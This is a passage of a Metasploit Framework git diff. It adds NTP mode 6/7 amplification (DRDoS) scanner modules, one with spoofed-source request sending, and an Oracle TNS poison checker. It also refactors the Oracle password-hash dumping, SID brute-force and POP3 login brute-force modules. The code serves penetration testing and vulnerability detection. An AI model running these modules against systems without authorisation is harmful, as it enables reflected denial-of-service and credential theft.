Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 PEER_LIST DoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "PEER_LIST" queries and + return responses that are larger in size or greater in quantity than + the request, allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart ', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 0) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb new file mode 100644 index 0000000000..900c9b7fad --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 PEER_LIST_SUM DoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "PEER_LIST_SUM" queries and + return responses that are larger in size or greater in quantity than + the request, allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart ', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 1) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index dbb7b9edb2..98cb2a0d4c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -1,67 +1,88 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - - - include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS def initialize(info = {}) super(update_info(info, 'Name' => 'NTP Clock Variables Disclosure', - 'Description' => %q{ - This module reads the system internal NTP variables. These variables contain + 'Description' => %q( + This module reads the system internal NTP variables. These variables contain potentially sensitive information, such as the NTP software version, operating system version, peers, and more. - }, - 'Author' => [ 'Ewerson Guimaraes(Crash) ' ], + ), + 'Author' => + [ + 'Ewerson Guimaraes(Crash) ', # original Metasploit module + 'Jon Hart ' # UDPScanner version for faster scans + ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL','http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ], + [ 'URL', 'http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ] ] ) ) - register_options( - [ - Opt::RPORT(123) - ], self.class) end - def run_host(ip) + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end - connect_udp - - readvar = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" #readvar command - print_status("Connecting target #{rhost}:#{rport}...") - - print_status("Sending command") - udp_sock.put(readvar) - reply = udp_sock.recvfrom(65535, 0.1) - if not reply or reply[0].empty? - print_error("#{rhost}:#{rport} - Couldn't read NTP variables") - return + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@probe, ip, datastore['RPORT']) end - p_reply = reply[0].split(",") - arr_count = 0 - while ( arr_count < p_reply.size) - if arr_count == 0 - print_good("#{rhost}:#{rport} - #{p_reply[arr_count].slice(12,p_reply[arr_count].size)}") #12 is the adjustment of packet garbage - arr_count = arr_count + 1 + end + + def scanner_prescan(batch) + @results = {} + print_status("Sending NTP v2 READVAR probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 2 + end + + def scanner_postscan(_batch) + @results.keys.each do |k| + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + host: k, + proto: 'udp', + port: rport, + name: 'ntp', + info: @results[k].map { |r| r.payload.slice(0,r.payload_size) }.join.inspect + ) + + peer = "#{k}:#{rport}" + response_map = { @probe => @results[k] } + vulnerable, proof = prove_amplification(response_map) + what = 'NTP Mode 6 READVAR DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: rport, + proto: 'udp', + name: what, + refs: references + ) else - print_good("#{rhost}:#{rport} - #{p_reply[arr_count].strip}") - arr_count = arr_count + 1 + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") end end - disconnect_udp - end - end diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb new file mode 100644 index 0000000000..f31ee5f258 --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 6 REQ_NONCE DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit mode 6 REQ_NONCE requests that + can be used to conduct DRDoS attacks. In some configurations, NTP servers will + respond to REQ_NONCE requests with a response larger than the request, + allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart ', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 12 + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb new file mode 100644 index 0000000000..eb4ebbc44a --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 GET_RESTRICT DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "reslist" queries and + obtains the list of restrictions placed on various network interfaces, + networks or hosts. The reslist feature allows remote + attackers to cause a distributed, reflected denial of service (aka, "DRDoS" or + traffic amplification) via spoofed requests. The more interfaces, networks + or hosts with specific restrictions, the greater the amplification. + requests. + }, + 'Author' => 'Jon Hart ', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 16) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb new file mode 100644 index 0000000000..9913e40b1c --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 6 UNSETTRAP DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit mode 6 UNSETTRAP requests that + can be used to conduct DRDoS attacks. In some configurations, NTP servers will + respond to UNSETTRAP requests with multiple packets, allowing remote attackers + to cause a distributed, reflected denial of service (aka, "DRDoS" or traffic + amplification) via spoofed requests. + }, + 'Author' => 'Jon Hart ', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 31 + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 9942867d29..58f8312e95 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 4dd638c5a3..87f020318c 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -1,4 +1,4 @@ -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 8d7ffe0954..1216e5a318 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb index 4915fc6200..f72286bd28 100644 --- a/modules/auxiliary/scanner/oracle/emc_sid.rb +++ b/modules/auxiliary/scanner/oracle/emc_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index 39531bd30a..361abf11ae 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -46,8 +46,13 @@ class Metasploit3 < Msf::Auxiliary end - def verbose; datastore['VERBOSE']; end - def uri; datastore['URI'].to_s; end + def verbose + datastore['VERBOSE'] + end + + def uri + datastore['URI'].to_s + end def timeout (datastore['TIMEOUT'] || 60).to_i diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index 63aa966334..e3ba450180 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index d23f8d88a8..6f87a37847 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %Q{ This module dumps the usernames and password hashes from Oracle given the proper Credentials and SID. - These are then stored as loot for later cracking. + These are then stored as creds for later cracking. }, 'Author' => ['theLightCosine'], 'License' => MSF_LICENSE @@ -91,23 +91,47 @@ class Metasploit3 < Msf::Auxiliary return end print_status("Hash table :\n #{tbl}") - report_hashes(tbl.to_csv, is_11g, ip, this_service) + report_hashes(tbl, is_11g, ip, this_service) end - def report_hashes(hash_loot, is_11g, ip, service) + def report_hashes(table, is_11g, ip, service) #reports the hashes slightly differently depending on the version #This is so that we know which are which when we go to crack them if is_11g==false - filename= "#{ip}-#{datastore['RPORT']}_oraclehashes.txt" - store_loot("oracle.hashes", "text/plain", ip, hash_loot, filename, "Oracle Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "des" else - filename= "#{ip}-#{datastore['RPORT']}_oracle11ghashes.txt" - store_loot("oracle11g.hashes", "text/plain", ip, hash_loot, filename, "Oracle 11g Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "raw-sha1" end + service_data = { + address: Rex::Socket.getaddress(ip), + port: service[:port], + protocol: service[:proto], + service_name: service[:name], + workspace_id: myworkspace_id + } + + table.rows.each do |row| + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: row[0], + private_data: row[1], + private_type: :nonreplayable_hash, + jtr_format: jtr_format + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end + print_status("Hash Table has been saved") end diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index 84ad51fdb3..1f98486f44 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index 21a111fc92..99c9f4ab08 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb index 5ea72bfd74..7b24a42b36 100644 --- a/modules/auxiliary/scanner/oracle/sid_enum.rb +++ b/modules/auxiliary/scanner/oracle/sid_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index 7bfc799b26..3b740f7643 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 1d503cb78e..3bd78c1437 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,15 +41,22 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once - if ( data and data =~ /\\*.TNSLSNR for (.*)/ ) + if ( data && data =~ /\\*.TNSLSNR for (.*)/ ) ora_version = data.match(/\\*.TNSLSNR for (.*)/)[1] report_service( - :host => ip, - :port => datastore['RPORT'], - :name => "oracle", - :info => ora_version + :host => ip, + :port => datastore['RPORT'], + :name => "oracle", + :info => ora_version ) print_good("#{ip}:#{datastore['RPORT']} Oracle - Version: " + ora_version) + elsif ( data && data =~ /\(ERR=(\d+)\)/ ) + case $1.to_i + when 1189 + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1} - The listener could not authenticate the user") + else + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1}") + end else print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown") end diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb new file mode 100644 index 0000000000..809904903f --- /dev/null +++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb @@ -0,0 +1,52 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::TNS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle TNS Listener Checker', + 'Description' => %q{ + This module checks the server for vulnerabilities like TNS Poison. + Module sends a server a packet with command to register new TNS Listener and checks + for a response indicating an error. If the registration is errored, the target is not + vulnearble. Otherwise, the target is vulnerable to malicious registrations. + }, + 'Author' => ['ir0njaw (Nikita Kelesis) '], # of Digital Security [http://dsec.ru] + 'References' => + [ + [ 'URL', 'http://seclists.org/fulldisclosure/2012/Apr/204' ], + ], + 'DisclosureDate' => 'Apr 18 2012', + 'License' => MSF_LICENSE)) + + register_options( + [ + Opt::RPORT(1521) + ], self.class) + + deregister_options('RHOST') # Provided by the TNS mixin, but not needed in a scanner module + end + + def run_host(ip) + begin + connect + send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))") + sock.put(send_packet) + packet = sock.read(100) + find_packet = packet.include? "(ERROR_STACK=(ERROR=" + find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable") + #TODO: Module should report_vuln if this finding is solid. + rescue ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{ip}:#{rport} unable to connect to the server") + end + end +end diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb index 0857cb94b4..c07928617e 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index bee4244a5e..020e306af0 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), Opt::RPORT(8080), ], self.class) - deregister_options('DBUSER','DBPASS') end def run_host(ip) @@ -57,9 +56,9 @@ class Metasploit3 < Msf::Auxiliary fd = CSV.foreach(list) do |brute| - datastore['DBUSER'] = brute[2].downcase - datastore['DBPASS'] = brute[3].downcase - user_pass = "#{datastore['DBUSER']}:#{datastore['DBPASS']}" + dbuser = brute[2].downcase + dbpass = brute[3].downcase + user_pass = "#{dbuser}:#{dbpass}" res = send_request_raw({ 'uri' => '/oradb/PUBLIC/GLOBAL_NAME', @@ -72,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary }, 10) if( not res ) - vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{datastore['DBUSER']} / #{datastore['DBPASS']}...") + vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...") next end if (res.code == 200) @@ -89,10 +88,10 @@ class Metasploit3 < Msf::Auxiliary :data => sid, :update => :unique_data ) - print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{datastore['DBUSER']} / #{datastore['DBPASS']}") + print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}") users.push(user_pass) else - vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{datastore['DBUSER']} / #{datastore['DBPASS']}...") + vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...") end end #fd.each diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index 1629a553ef..c5f9bdc46e 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb index d367bf82d1..ab83d9191d 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb index d5943d38ff..693c294945 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index fa04ff718a..f2b3d830af 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/pop3' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -51,76 +53,63 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - begin - print_status("Connecting to #{target}") - each_user_pass do |user, pass| - do_login(user, pass) - end - end - rescue ::Rex::ConnectionError - rescue ::Exception => e - vprint_error("#{target} #{e.to_s} #{e.backtrace}") - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def pop3_send(data=nil, con=true) - begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - select(nil,nil,nil,0.4) - end - @connected=true - sock.put(data) - @result=sock.get_once - rescue ::Exception => err - print_error("Error: #{err.to_s}") - end - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user=nil,pass=nil) - begin - pop3_send(nil,true) # connect Only - if @result !~ /^\+OK (.*)/ - print_error("POP3 server does not appear to be running") - return :abort - end + scanner = 